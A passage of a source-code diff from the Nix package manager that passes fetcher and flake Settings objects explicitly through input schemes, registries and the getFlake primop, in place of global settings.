inputs. - Input input; + Input input { settings }; input.attrs = attrs; fixupInput(input); return input; @@ -99,7 +103,7 @@ Input Input::fromAttrs(Attrs && attrs) if (name != "type" && allowedAttrs.count(name) == 0) throw Error("input attribute '%s' not supported by scheme '%s'", name, schemeName); - auto res = inputScheme->inputFromAttrs(attrs); + auto res = inputScheme->inputFromAttrs(settings, attrs); if (!res) return raw(); res->scheme = inputScheme; fixupInput(*res); diff --git a/src/libfetchers/fetchers.hh b/src/libfetchers/fetchers.hh index 551be9a1f..34d3bafac 100644 --- a/src/libfetchers/fetchers.hh +++ b/src/libfetchers/fetchers.hh @@ -17,6 +17,8 @@ namespace nix::fetchers { struct InputScheme; +struct Settings; + /** * The `Input` object is generated by a specific fetcher, based on * user-supplied information, and contains @@ -28,6 +30,12 @@ struct Input { friend struct InputScheme; + const Settings * settings; + + Input(const Settings & settings) + : settings{&settings} + { } + std::shared_ptr scheme; // note: can be null Attrs attrs; @@ -42,16 +50,22 @@ public: * * The URL indicate which sort of fetcher, and provides information to that fetcher. */ - static Input fromURL(const std::string & url, bool requireTree = true); + static Input fromURL( + const Settings & settings, + const std::string & url, bool requireTree = true); - static Input fromURL(const ParsedURL & url, bool requireTree = true); + static Input fromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree = true); /** * Create an `Input` from a an `Attrs`. * * The URL indicate which sort of fetcher, and provides information to that fetcher. */ - static Input fromAttrs(Attrs && attrs); + static Input fromAttrs( + const Settings & settings, + Attrs && attrs); ParsedURL toURL() const; @@ -146,9 +160,13 @@ struct InputScheme virtual ~InputScheme() { } - virtual std::optional inputFromURL(const ParsedURL & url, bool requireTree) const = 0; + virtual std::optional inputFromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree) const = 0; - virtual std::optional inputFromAttrs(const Attrs & attrs) const = 0; + virtual std::optional inputFromAttrs( + const Settings & settings, + const Attrs & attrs) const = 0; /** * What is the name of the scheme? diff --git a/src/libfetchers/git.cc b/src/libfetchers/git.cc index 184c1383e..076c757c5 100644 --- a/src/libfetchers/git.cc +++ b/src/libfetchers/git.cc @@ -164,7 +164,9 @@ static const Hash nullRev{HashAlgorithm::SHA1}; struct GitInputScheme : InputScheme { - std::optional inputFromURL(const ParsedURL & url, bool requireTree) const override + std::optional inputFromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree) const override { if (url.scheme != "git" && url.scheme != "git+http" && @@ -190,7 +192,7 @@ struct GitInputScheme : InputScheme attrs.emplace("url", url2.to_string()); - return inputFromAttrs(attrs); + return inputFromAttrs(settings, attrs); } @@ -222,7 +224,9 @@ struct GitInputScheme : InputScheme }; } - std::optional inputFromAttrs(const Attrs & attrs) const override + std::optional inputFromAttrs( + const Settings & settings, + const Attrs & attrs) const override { for (auto & [name, _] : attrs) if (name == "verifyCommit" @@ -238,7 +242,7 @@ struct GitInputScheme : InputScheme throw BadURL("invalid Git branch/tag name '%s'", *ref); } - Input input; + Input input{settings}; input.attrs = attrs; auto url = fixGitURL(getStrAttr(attrs, "url")); parseURL(url); @@ -366,13 +370,13 @@ struct GitInputScheme : InputScheme /* URL of the repo, or its path if isLocal. Never a `file` URL. */ std::string url; - void warnDirty() const + void warnDirty(const Settings & settings) const { if (workdirInfo.isDirty) { - if (!fetchSettings.allowDirty) + if (!settings.allowDirty) throw Error("Git tree '%s' is dirty", url); - if (fetchSettings.warnDirty) + if (settings.warnDirty) warn("Git tree '%s' is dirty", url); } } @@ -653,7 +657,7 @@ struct GitInputScheme : InputScheme attrs.insert_or_assign("exportIgnore", Explicit{ exportIgnore }); attrs.insert_or_assign("submodules", Explicit{ true }); attrs.insert_or_assign("allRefs", Explicit{ true }); - auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs)); + auto submoduleInput = fetchers::Input::fromAttrs(*input.settings, std::move(attrs)); auto [submoduleAccessor, submoduleInput2] = submoduleInput.getAccessor(store); submoduleAccessor->setPathDisplay("«" + submoduleInput.to_string() + "»"); @@ -711,7 +715,7 @@ struct GitInputScheme : InputScheme // TODO: fall back to getAccessorFromCommit-like fetch when submodules aren't checked out // attrs.insert_or_assign("allRefs", Explicit{ true }); - auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs)); + auto submoduleInput = fetchers::Input::fromAttrs(*input.settings, std::move(attrs)); auto [submoduleAccessor, submoduleInput2] = submoduleInput.getAccessor(store); submoduleAccessor->setPathDisplay("«" + submoduleInput.to_string() + "»"); @@ -743,7 +747,7 @@ struct GitInputScheme : InputScheme verifyCommit(input, repo); } else { - repoInfo.warnDirty(); + repoInfo.warnDirty(*input.settings); if (repoInfo.workdirInfo.headRev) { input.attrs.insert_or_assign("dirtyRev", diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index ddb41e63f..2968d2df2 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -31,7 +31,9 @@ struct GitArchiveInputScheme : InputScheme { virtual std::optional> accessHeaderFromToken(const std::string & token) const = 0; - std::optional inputFromURL(const ParsedURL & url, bool requireTree) const override + std::optional inputFromURL( + const fetchers::Settings & settings, + const ParsedURL & url, bool requireTree) const override { if (url.scheme != schemeName()) return {}; @@ -90,7 +92,7 @@ struct GitArchiveInputScheme : InputScheme if (ref && rev) throw BadURL("URL '%s' contains both a commit hash and a branch/tag name %s %s", url.url, *ref, rev->gitRev()); - Input input; + Input input{settings}; input.attrs.insert_or_assign("type", std::string { schemeName() }); input.attrs.insert_or_assign("owner", path[0]); input.attrs.insert_or_assign("repo", path[1]); @@ -119,12 +121,14 @@ struct GitArchiveInputScheme : InputScheme }; } - std::optional inputFromAttrs(const Attrs & attrs) const override + std::optional inputFromAttrs( + const fetchers::Settings & settings, + const Attrs & attrs) const override { getStrAttr(attrs, "owner"); getStrAttr(attrs, "repo"); - Input input; + Input input{settings}; input.attrs = attrs; return input; } @@ -168,18 +172,20 @@ struct GitArchiveInputScheme : InputScheme return input; } - std::optional getAccessToken(const std::string & host) const + std::optional getAccessToken(const fetchers::Settings & settings, const std::string & host) const { - auto tokens = fetchSettings.accessTokens.get(); + auto tokens = settings.accessTokens.get(); if (auto token = get(tokens, host)) return *token; return {}; } - Headers makeHeadersWithAuthTokens(const std::string & host) const + Headers makeHeadersWithAuthTokens( + const fetchers::Settings & settings, + const std::string & host) const { Headers headers; - auto accessToken = getAccessToken(host); + auto accessToken = getAccessToken(settings, host); if (accessToken) { auto hdr = accessHeaderFromToken(*accessToken); if (hdr) @@ -295,7 +301,7 @@ struct GitArchiveInputScheme : InputScheme locking. FIXME: in the future, we may want to require a Git tree hash instead of a NAR hash. */ return input.getRev().has_value() - && (fetchSettings.trustTarballsFromGitForges || + && (input.settings->trustTarballsFromGitForges || input.getNarHash().has_value()); } @@ -352,7 +358,7 @@ struct GitHubInputScheme : GitArchiveInputScheme : "https://%s/api/v3/repos/%s/%s/commits/%s", host, getOwner(input), getRepo(input), *input.getRef()); - Headers headers = makeHeadersWithAuthTokens(host); + Headers headers = makeHeadersWithAuthTokens(*input.settings, host); auto json = nlohmann::json::parse( readFile( @@ -369,7 +375,7 @@ struct GitHubInputScheme : GitArchiveInputScheme { auto host = getHost(input); - Headers headers = makeHeadersWithAuthTokens(host); + Headers headers = makeHeadersWithAuthTokens(*input.settings, host); // If we have no auth headers then we default to the public archive // urls so we do not run into rate limits. @@ -389,7 +395,7 @@ struct GitHubInputScheme : GitArchiveInputScheme void clone(const Input & input, const Path & destDir) const override { auto host = getHost(input); - Input::fromURL(fmt("git+https://%s/%s/%s.git", + Input::fromURL(*input.settings, fmt("git+https://%s/%s/%s.git", host, getOwner(input), getRepo(input))) .applyOverrides(input.getRef(), input.getRev()) .clone(destDir); @@ -426,7 +432,7 @@ struct GitLabInputScheme : GitArchiveInputScheme auto url = fmt("https://%s/api/v4/projects/%s%%2F%s/repository/commits?ref_name=%s", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"), *input.getRef()); - Headers headers = makeHeadersWithAuthTokens(host); + Headers headers = makeHeadersWithAuthTokens(*input.settings, host); auto json = nlohmann::json::parse( readFile( @@ -456,7 +462,7 @@ struct GitLabInputScheme : GitArchiveInputScheme host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"), input.getRev()->to_string(HashFormat::Base16, false)); - Headers headers = makeHeadersWithAuthTokens(host); + Headers headers = makeHeadersWithAuthTokens(*input.settings, host); return DownloadUrl { url, headers }; } @@ -464,7 +470,7 @@ struct GitLabInputScheme : GitArchiveInputScheme { auto host = maybeGetStrAttr(input.attrs, "host").value_or("gitlab.com"); // FIXME: get username somewhere - Input::fromURL(fmt("git+https://%s/%s/%s.git", + Input::fromURL(*input.settings, fmt("git+https://%s/%s/%s.git", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"))) .applyOverrides(input.getRef(), input.getRev()) .clone(destDir); @@ -496,7 +502,7 @@ struct SourceHutInputScheme : GitArchiveInputScheme auto base_url = fmt("https://%s/%s/%s", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo")); - Headers headers = makeHeadersWithAuthTokens(host); + Headers headers = makeHeadersWithAuthTokens(*input.settings, host); std::string refUri; if (ref == "HEAD") { @@ -543,14 +549,14 @@ struct SourceHutInputScheme : GitArchiveInputScheme host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"), input.getRev()->to_string(HashFormat::Base16, false)); - Headers headers = makeHeadersWithAuthTokens(host); + Headers headers = makeHeadersWithAuthTokens(*input.settings, host); return DownloadUrl { url, headers }; } void clone(const Input & input, const Path & destDir) const override { auto host = maybeGetStrAttr(input.attrs, "host").value_or("git.sr.ht"); - Input::fromURL(fmt("git+https://%s/%s/%s", + Input::fromURL(*input.settings, fmt("git+https://%s/%s/%s", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"))) .applyOverrides(input.getRef(), input.getRev()) .clone(destDir); diff --git a/src/libfetchers/indirect.cc b/src/libfetchers/indirect.cc index ba5078631..2e5cd82c7 100644 --- a/src/libfetchers/indirect.cc +++ b/src/libfetchers/indirect.cc @@ -8,7 +8,9 @@ std::regex flakeRegex("[a-zA-Z][a-zA-Z0-9_-]*", std::regex::ECMAScript); struct IndirectInputScheme : InputScheme { - std::optional inputFromURL(const ParsedURL & url, bool requireTree) const override + std::optional inputFromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree) const override { if (url.scheme != "flake") return {}; @@ -41,7 +43,7 @@ struct IndirectInputScheme : InputScheme // FIXME: forbid query params? - Input input; + Input input{settings}; input.attrs.insert_or_assign("type", "indirect"); input.attrs.insert_or_assign("id", id); if (rev) input.attrs.insert_or_assign("rev", rev->gitRev()); @@ -65,13 +67,15 @@ struct IndirectInputScheme : InputScheme }; } - std::optional inputFromAttrs(const Attrs & attrs) const override + std::optional inputFromAttrs( + const Settings & settings, + const Attrs & attrs) const override { auto id = getStrAttr(attrs, "id"); if (!std::regex_match(id, flakeRegex)) throw BadURL("'%s' is not a valid flake ID", id); - Input input; + Input input{settings}; input.attrs = attrs; return input; } diff --git a/src/libfetchers/mercurial.cc b/src/libfetchers/mercurial.cc index 198795caa..3feb3cb19 100644 --- a/src/libfetchers/mercurial.cc +++ b/src/libfetchers/mercurial.cc @@ -45,7 +45,9 @@ static std::string runHg(const Strings & args, const std::optional struct MercurialInputScheme : InputScheme { - std::optional inputFromURL(const ParsedURL & url, bool requireTree) const override + std::optional inputFromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree) const override { if (url.scheme != "hg+http" && url.scheme != "hg+https" && @@ -68,7 +70,7 @@ struct MercurialInputScheme : InputScheme attrs.emplace("url", url2.to_string()); - return inputFromAttrs(attrs); + return inputFromAttrs(settings, attrs); } std::string_view schemeName() const override @@ -88,7 +90,9 @@ struct MercurialInputScheme : InputScheme }; } - std::optional inputFromAttrs(const Attrs & attrs) const override + std::optional inputFromAttrs( + const Settings & settings, + const Attrs & attrs) const override { parseURL(getStrAttr(attrs, "url")); @@ -97,7 +101,7 @@ struct MercurialInputScheme : InputScheme throw BadURL("invalid Mercurial branch/tag name '%s'", *ref); } - Input input; + Input input{settings}; input.attrs = attrs; return input; } @@ -182,10 +186,10 @@ struct MercurialInputScheme : InputScheme /* This is an unclean working tree. So copy all tracked files. */ - if (!fetchSettings.allowDirty) + if (!input.settings->allowDirty) throw Error("Mercurial tree '%s' is unclean", actualUrl); - if (fetchSettings.warnDirty) + if (input.settings->warnDirty) warn("Mercurial tree '%s' is unclean", actualUrl); input.attrs.insert_or_assign("ref", chomp(runHg({ "branch", "-R", actualUrl }))); diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc index 68958d559..fca0df84b 100644 --- a/src/libfetchers/path.cc +++ b/src/libfetchers/path.cc @@ -7,14 +7,16 @@ namespace nix::fetchers { struct PathInputScheme : InputScheme { - std::optional inputFromURL(const ParsedURL & url, bool requireTree) const override + std::optional inputFromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree) const override { if (url.scheme != "path") return {}; if (url.authority && *url.authority != "") throw Error("path URL '%s' should not have an authority ('%s')", url.url, *url.authority); - Input input; + Input input{settings}; input.attrs.insert_or_assign("type", "path"); input.attrs.insert_or_assign("path", url.path); @@ -54,11 +56,13 @@ struct PathInputScheme : InputScheme }; } - std::optional inputFromAttrs(const Attrs & attrs) const override + std::optional inputFromAttrs( + const Settings & settings, + const Attrs & attrs) const override { getStrAttr(attrs, "path"); - Input input; + Input input{settings}; input.attrs = attrs; return input; } diff --git a/src/libfetchers/registry.cc b/src/libfetchers/registry.cc index 52cbac5e0..3c893c8ea 100644 --- a/src/libfetchers/registry.cc +++ b/src/libfetchers/registry.cc @@ -1,7 +1,7 @@ +#include "fetch-settings.hh" #include "registry.hh" #include "tarball.hh" #include "users.hh" -#include "config-global.hh" #include "globals.hh" #include "store-api.hh" #include "local-fs-store.hh" @@ -11,12 +11,13 @@ namespace nix::fetchers { std::shared_ptr Registry::read( + const Settings & settings, const Path & path, RegistryType type) { - auto registry = std::make_shared(type); + auto registry = std::make_shared(settings, type); if (!pathExists(path)) - return std::make_shared(type); + return std::make_shared(settings, type); try { @@ -36,8 +37,8 @@ std::shared_ptr Registry::read( auto exact = i.find("exact"); registry->entries.push_back( Entry { - .from = Input::fromAttrs(jsonToAttrs(i["from"])), - .to = Input::fromAttrs(std::move(toAttrs)), + .from = Input::fromAttrs(settings, jsonToAttrs(i["from"])), + .to = Input::fromAttrs(settings, std::move(toAttrs)), .extraAttrs = extraAttrs, .exact = exact != i.end() && exact.value() }); @@ -106,10 +107,10 @@ static Path getSystemRegistryPath() return settings.nixConfDir + "/registry.json"; } -static std::shared_ptr getSystemRegistry() +static std::shared_ptr getSystemRegistry(const Settings & settings) { static auto systemRegistry = - Registry::read(getSystemRegistryPath(), Registry::System); + Registry::read(settings, getSystemRegistryPath(), Registry::System); return systemRegistry; } @@ -118,25 +119,24 @@ Path getUserRegistryPath() return getConfigDir() + "/nix/registry.json"; } -std::shared_ptr getUserRegistry() +std::shared_ptr getUserRegistry(const Settings & settings) { static auto userRegistry = - Registry::read(getUserRegistryPath(), Registry::User); + Registry::read(settings, getUserRegistryPath(), Registry::User); return userRegistry; } -std::shared_ptr getCustomRegistry(const Path & p) +std::shared_ptr getCustomRegistry(const Settings & settings, const Path & p) { static auto customRegistry = - Registry::read(p, Registry::Custom); + Registry::read(settings, p, Registry::Custom); return customRegistry; } -static std::shared_ptr flagRegistry = - std::make_shared(Registry::Flag); - -std::shared_ptr getFlagRegistry() +std::shared_ptr getFlagRegistry(const Settings & settings) { + static auto flagRegistry = + std::make_shared(settings, Registry::Flag); return flagRegistry; } @@ -145,30 +145,15 @@ void overrideRegistry( const Input & to, const Attrs & extraAttrs) { - flagRegistry->add(from, to, extraAttrs); + getFlagRegistry(*from.settings)->add(from, to, extraAttrs); } -struct RegistrySettings : Config -{ - Setting flakeRegistry{this, "https://channels.nixos.org/flake-registry.json", "flake-registry", - R"( - Path or URI of the global flake registry. - - When empty, disables the global flake registry. - )", - {}, true, Xp::Flakes}; -}; - -RegistrySettings registrySettings; - -static GlobalConfig::Register rRegistrySettings(®istrySettings); - -static std::shared_ptr getGlobalRegistry(ref store) +static std::shared_ptr getGlobalRegistry(const Settings & settings, ref store) { static auto reg = [&]() { - auto path = registrySettings.flakeRegistry.get(); + auto path = settings.flakeRegistry.get(); if (path == "") { - return std::make_shared(Registry::Global); // empty registry + return std::make_shared(settings, Registry::Global); // empty registry } if (!hasPrefix(path, "/")) { @@ -178,19 +163,19 @@ static std::shared_ptr getGlobalRegistry(ref store) path = store->toRealPath(storePath); } - return Registry::read(path, Registry::Global); + return Registry::read(settings, path, Registry::Global); }(); return reg; } -Registries getRegistries(ref store) +Registries getRegistries(const Settings & settings, ref store) { Registries registries; - registries.push_back(getFlagRegistry()); - registries.push_back(getUserRegistry()); - registries.push_back(getSystemRegistry()); - registries.push_back(getGlobalRegistry(store)); + registries.push_back(getFlagRegistry(settings)); + registries.push_back(getUserRegistry(settings)); + registries.push_back(getSystemRegistry(settings)); + registries.push_back(getGlobalRegistry(settings, store)); return registries; } @@ -207,7 +192,7 @@ std::pair lookupInRegistries( n++; if (n > 100) throw Error("cycle detected in flake registry for '%s'", input.to_string()); - for (auto & registry : getRegistries(store)) { + for (auto & registry : getRegistries(*input.settings, store)) { // FIXME: O(n) for (auto & entry : registry->entries) { if (entry.exact) { diff --git a/src/libfetchers/registry.hh b/src/libfetchers/registry.hh index f57ab1e6b..0d68ac395 100644 --- a/src/libfetchers/registry.hh +++ b/src/libfetchers/registry.hh @@ -10,6 +10,8 @@ namespace nix::fetchers { struct Registry { + const Settings & settings; + enum RegistryType { Flag = 0, User = 1, @@ -29,11 +31,13 @@ struct Registry std::vector entries; - Registry(RegistryType type) - : type(type) + Registry(const Settings & settings, RegistryType type) + : settings{settings} + , type{type} { } static std::shared_ptr read( + const Settings & settings, const Path & path, RegistryType type); void write(const Path & path); @@ -48,13 +52,13 @@ struct Registry typedef std::vector> Registries; -std::shared_ptr getUserRegistry(); +std::shared_ptr getUserRegistry(const Settings & settings); -std::shared_ptr getCustomRegistry(const Path & p); +std::shared_ptr getCustomRegistry(const Settings & settings, const Path & p); Path getUserRegistryPath(); -Registries getRegistries(ref store); +Registries getRegistries(const Settings & settings, ref store); void overrideRegistry( const Input & from, diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index aa8ff652f..e049dffeb 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -214,12 +214,14 @@ struct CurlInputScheme : InputScheme static const std::set specialParams; - std::optional inputFromURL(const ParsedURL & _url, bool requireTree) const override + std::optional inputFromURL( + const Settings & settings, + const ParsedURL & _url, bool requireTree) const override { if (!isValidURL(_url, requireTree)) return std::nullopt; - Input input; + Input input{settings}; auto url = _url; @@ -267,9 +269,11 @@ struct CurlInputScheme : InputScheme }; } - std::optional inputFromAttrs(const Attrs & attrs) const override + std::optional inputFromAttrs( + const Settings & settings, + const Attrs & attrs) const override { - Input input; + Input input{settings}; input.attrs = attrs; //input.locked = (bool) maybeGetStrAttr(input.attrs, "hash"); @@ -349,7 +353,7 @@ struct TarballInputScheme : CurlInputScheme result.accessor->setPathDisplay("«" + input.to_string() + "»"); if (result.immutableUrl) { - auto immutableInput = Input::fromURL(*result.immutableUrl); + auto immutableInput = Input::fromURL(*input.settings, *result.immutableUrl); // FIXME: would be nice to support arbitrary flakerefs // here, e.g. git flakes. if (immutableInput.getType() != "tarball") diff --git a/src/libflake/flake-settings.cc b/src/libflake/flake-settings.cc deleted file mode 100644 index ba97e0ce7..000000000 --- a/src/libflake/flake-settings.cc +++ /dev/null @@ -1,12 +0,0 @@ -#include "flake-settings.hh" -#include "config-global.hh" - -namespace nix { - -FlakeSettings::FlakeSettings() {} - -FlakeSettings flakeSettings; - -static GlobalConfig::Register rFlakeSettings(&flakeSettings); - -} diff --git a/src/libflake/flake/config.cc b/src/libflake/flake/config.cc index 498595359..4e00d5c93 100644 --- a/src/libflake/flake/config.cc +++ b/src/libflake/flake/config.cc @@ -1,6 +1,6 @@ #include "users.hh" #include "config-global.hh" -#include "flake-settings.hh" +#include "flake/settings.hh" #include "flake.hh" #include @@ -30,7 +30,7 @@ static void writeTrustedList(const TrustedList & trustedList) writeFile(path, nlohmann::json(trustedList).dump()); } -void ConfigFile::apply() +void ConfigFile::apply(const Settings & flakeSettings) { std::set whitelist{"bash-prompt", "bash-prompt-prefix", "bash-prompt-suffix", "flake-registry", "commit-lock-file-summary", "commit-lockfile-summary"}; @@ -51,7 +51,7 @@ void ConfigFile::apply() else assert(false); - if (!whitelist.count(baseName) && !nix::flakeSettings.acceptFlakeConfig) { + if (!whitelist.count(baseName) && !flakeSettings.acceptFlakeConfig) { bool trusted = false; auto trustedList = readTrustedList(); auto tlname = get(trustedList, name); diff --git a/src/libflake/flake/flake.cc b/src/libflake/flake/flake.cc index eb083fcee..627dfe830 100644 --- a/src/libflake/flake/flake.cc +++ b/src/libflake/flake/flake.cc @@ -9,7 +9,7 @@ #include "fetchers.hh" #include "finally.hh" #include "fetch-settings.hh" -#include "flake-settings.hh" +#include "flake/settings.hh" #include "value-to-json.hh" #include "local-fs-store.hh" @@ -164,7 +164,7 @@ static FlakeInput parseFlakeInput(EvalState & state, if (attrs.count("type")) try { - input.ref = FlakeRef::fromAttrs(attrs); + input.ref = FlakeRef::fromAttrs(state.fetchSettings, attrs); } catch (Error & e) { e.addTrace(state.positions[pos], HintFmt("while evaluating flake input")); throw; @@ -174,11 +174,11 @@ static FlakeInput parseFlakeInput(EvalState & state, if (!attrs.empty()) throw Error("unexpected flake input attribute '%s', at %s", attrs.begin()->first, state.positions[pos]); if (url) - input.ref = parseFlakeRef(*url, baseDir, true, input.isFlake); + input.ref = parseFlakeRef(state.fetchSettings, *url, baseDir, true, input.isFlake); } if (!input.follows && !input.ref) - input.ref = FlakeRef::fromAttrs({{"type", "indirect"}, {"id", std::string(inputName)}}); + input.ref = FlakeRef::fromAttrs(state.fetchSettings, {{"type", "indirect"}, {"id", std::string(inputName)}}); return input; } @@ -244,7 +244,7 @@ static Flake readFlake( for (auto & formal : outputs->value->payload.lambda.fun->formals->formals) { if (formal.name != state.sSelf) flake.inputs.emplace(state.symbols[formal.name], FlakeInput { - .ref = parseFlakeRef(std::string(state.symbols[formal.name])) + .ref = parseFlakeRef(state.fetchSettings, std::string(state.symbols[formal.name])) }); } } @@ -329,16 +329,19 @@ Flake getFlake(EvalState & state, const FlakeRef & originalRef, bool allowLookup return getFlake(state, originalRef, allowLookup, flakeCache); } -static LockFile readLockFile(const SourcePath & lockFilePath) +static LockFile readLockFile( + const fetchers::Settings & fetchSettings, + const SourcePath & lockFilePath) { return lockFilePath.pathExists() - ? LockFile(lockFilePath.readFile(), fmt("%s", lockFilePath)) + ? LockFile(fetchSettings, lockFilePath.readFile(), fmt("%s", lockFilePath)) : LockFile(); } /* Compute an in-memory lock file for the specified top-level flake, and optionally write it to file, if the flake is writable. */ LockedFlake lockFlake( + const Settings & settings, EvalState & state, const FlakeRef & topRef, const LockFlags & lockFlags) @@ -347,21 +350,22 @@ LockedFlake lockFlake( FlakeCache flakeCache; - auto useRegistries = lockFlags.useRegistries.value_or(flakeSettings.useRegistries); + auto useRegistries = lockFlags.useRegistries.value_or(settings.useRegistries); auto flake = getFlake(state, topRef, useRegistries, flakeCache); if (lockFlags.applyNixConfig) { - flake.config.apply(); + flake.config.apply(settings); state.store->setOptions(); } try { - if (!fetchSettings.allowDirty && lockFlags.referenceLockFilePath) { + if (!state.fetchSettings.allowDirty && lockFlags.referenceLockFilePath) { throw Error("reference lock file was provided, but the `allow-dirty` setting is set to false"); } auto oldLockFile = readLockFile( + state.fetchSettings, lockFlags.referenceLockFilePath.value_or( flake.lockFilePath())); @@ -597,7 +601,7 @@ LockedFlake lockFlake( inputFlake.inputs, childNode, inputPath, oldLock ? std::dynamic_pointer_cast(oldLock) - : readLockFile(inputFlake.lockFilePath()).root.get_ptr(), + : readLockFile(state.fetchSettings, inputFlake.lockFilePath()).root.get_ptr(), oldLock ? lockRootPath : inputPath, localPath, false); @@ -660,7 +664,7 @@ LockedFlake lockFlake( if (lockFlags.writeLockFile) { if (sourcePath || lockFlags.outputLockFilePath) { if (auto unlockedInput = newLockFile.isUnlocked()) { - if (fetchSettings.warnDirty) + if (state.fetchSettings.warnDirty) warn("will not write lock file of flake '%s' because it has an unlocked input ('%s')", topRef, *unlockedInput); } else { if (!lockFlags.updateLockFile) @@ -692,7 +696,7 @@ LockedFlake lockFlake( if (lockFlags.commitLockFile) { std::string cm; - cm = flakeSettings.commitLockFileSummary.get(); + cm = settings.commitLockFileSummary.get(); if (cm == "") { cm = fmt("%s: %s", relPath, lockFileExists ? "Update" : "Add"); @@ -800,46 +804,49 @@ void callFlake(EvalState & state, state.callFunction(*vTmp1, vOverrides, vRes, noPos); } -static void prim_getFlake(EvalState & state, const PosIdx pos, Value * * args, Value & v) +void initLib(const Settings & settings) { - std::string flakeRefS(state.forceStringNoCtx(*args[0], pos, "while evaluating the argument passed to builtins.getFlake")); - auto flakeRef = parseFlakeRef(flakeRefS, {}, true); - if (state.settings.pureEval && !flakeRef.input.isLocked()) - throw Error("cannot call 'getFlake' on unlocked flake reference '%s', at %s (use --impure to override)", flakeRefS, state.positions[pos]); + auto prim_getFlake = [&settings](EvalState & state, const PosIdx pos, Value * * args, Value & v) + { + std::string flakeRefS(state.forceStringNoCtx(*args[0], pos, "while evaluating the argument passed to builtins.getFlake")); + auto flakeRef = parseFlakeRef(state.fetchSettings, flakeRefS, {}, true); + if (state.settings.pureEval && !flakeRef.input.isLocked()) + throw Error("cannot call 'getFlake' on unlocked flake reference '%s', at %s (use --impure to override)", flakeRefS, state.positions[pos]); - callFlake(state, - lockFlake(state, flakeRef, - LockFlags { - .updateLockFile = false, - .writeLockFile = false, - .useRegistries = !state.settings.pureEval && flakeSettings.useRegistries, - .allowUnlocked = !state.settings.pureEval, - }), - v); + callFlake(state, + lockFlake(settings, state, flakeRef, + LockFlags { + .updateLockFile = false, + .writeLockFile = false, + .useRegistries = !state.settings.pureEval && settings.useRegistries, + .allowUnlocked = !state.settings.pureEval, + }), + v); + }; + + RegisterPrimOp::primOps->push_back({ + .name = "__getFlake", + .args = {"args"}, + .doc = R"( + Fetch a flake from a flake reference, and return its output attributes and some metadata. For example: + + ```nix + (builtins.getFlake "nix/55bc52401966fbffa525c574c14f67b00bc4fb3a").packages.x86_64-linux.nix + ``` + + Unless impure evaluation is allowed (`--impure`), the flake reference + must be "locked", e.g. contain a Git revision or content hash. An + example of an unlocked usage is: + + ```nix + (builtins.getFlake "github:edolstra/dwarffs").rev + ``` + )", + .fun = prim_getFlake, + .experimentalFeature = Xp::Flakes, + }); } -static RegisterPrimOp r2({ - .name = "__getFlake", - .args = {"args"}, - .doc = R"( - Fetch a flake from a flake reference, and return its output attributes and some metadata. For example: - - ```nix - (builtins.getFlake "nix/55bc52401966fbffa525c574c14f67b00bc4fb3a").packages.x86_64-linux.nix - ``` - - Unless impure evaluation is allowed (`--impure`), the flake reference - must be "locked", e.g. contain a Git revision or content hash. An - example of an unlocked usage is: - - ```nix - (builtins.getFlake "github:edolstra/dwarffs").rev - ``` - )", - .fun = prim_getFlake, - .experimentalFeature = Xp::Flakes, -}); - static void prim_parseFlakeRef( EvalState & state, const PosIdx pos, @@ -848,7 +855,7 @@ static void prim_parseFlakeRef( { std::string flakeRefS(state.forceStringNoCtx(*args[0], pos, "while evaluating the argument passed to builtins.parseFlakeRef")); - auto attrs = parseFlakeRef(flakeRefS, {}, true).toAttrs(); + auto attrs = parseFlakeRef(state.fetchSettings, flakeRefS, {}, true).toAttrs(); auto binds = state.buildBindings(attrs.size()); for (const auto & [key, value] : attrs) { auto s = state.symbols.create(key); @@ -913,7 +920,7 @@ static void prim_flakeRefToString( showType(*attr.value)).debugThrow(); } } - auto flakeRef = FlakeRef::fromAttrs(attrs); + auto flakeRef = FlakeRef::fromAttrs(state.fetchSettings, attrs); v.mkString(flakeRef.to_string()); } diff --git a/src/libflake/flake/flake.hh b/src/libflake/flake/flake.hh index 1ba085f0f..cce17009c 100644 --- a/src/libflake/flake/flake.hh +++ b/src/libflake/flake/flake.hh @@ -12,6 +12,16 @@ class EvalState; namespace flake { +struct Settings; + +/** + * Initialize `libnixflake` + * + * So far, this registers the `builtins.getFlake` primop, which depends + * on the choice of `flake:Settings`. + */ +void initLib(const Settings & settings); + struct FlakeInput; typedef std::map FlakeInputs; @@ -57,7 +67,7 @@ struct ConfigFile std::map settings; - void apply(); + void apply(const Settings & settings); }; /** @@ -194,6 +204,7 @@ struct LockFlags }; LockedFlake lockFlake( + const Settings & settings, EvalState & state, const FlakeRef & flakeRef, const LockFlags & lockFlags); diff --git a/src/libflake/flake/flakeref.cc b/src/libflake/flake/flakeref.cc index 6e4aad64d..941790e0c 100644 --- a/src/libflake/flake/flakeref.cc +++ b/src/libflake/flake/flakeref.cc @@ -48,28 +48,32 @@ FlakeRef FlakeRef::resolve(ref store) const } FlakeRef parseFlakeRef( + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir, bool allowMissing, bool isFlake) { - auto [flakeRef, fragment] = parseFlakeRefWithFragment(url, baseDir, allowMissing, isFlake); + auto [flakeRef, fragment] = parseFlakeRefWithFragment(fetchSettings, url, baseDir, allowMissing, isFlake); if (fragment != "") throw Error("unexpected fragment '%s' in flake reference '%s'", fragment, url); return flakeRef; } std::optional maybeParseFlakeRef( - const std::string & url, const std::optional & baseDir) + const fetchers::Settings & fetchSettings, + const std::string & url, + const std::optional & baseDir) { try { - return parseFlakeRef(url, baseDir); + return 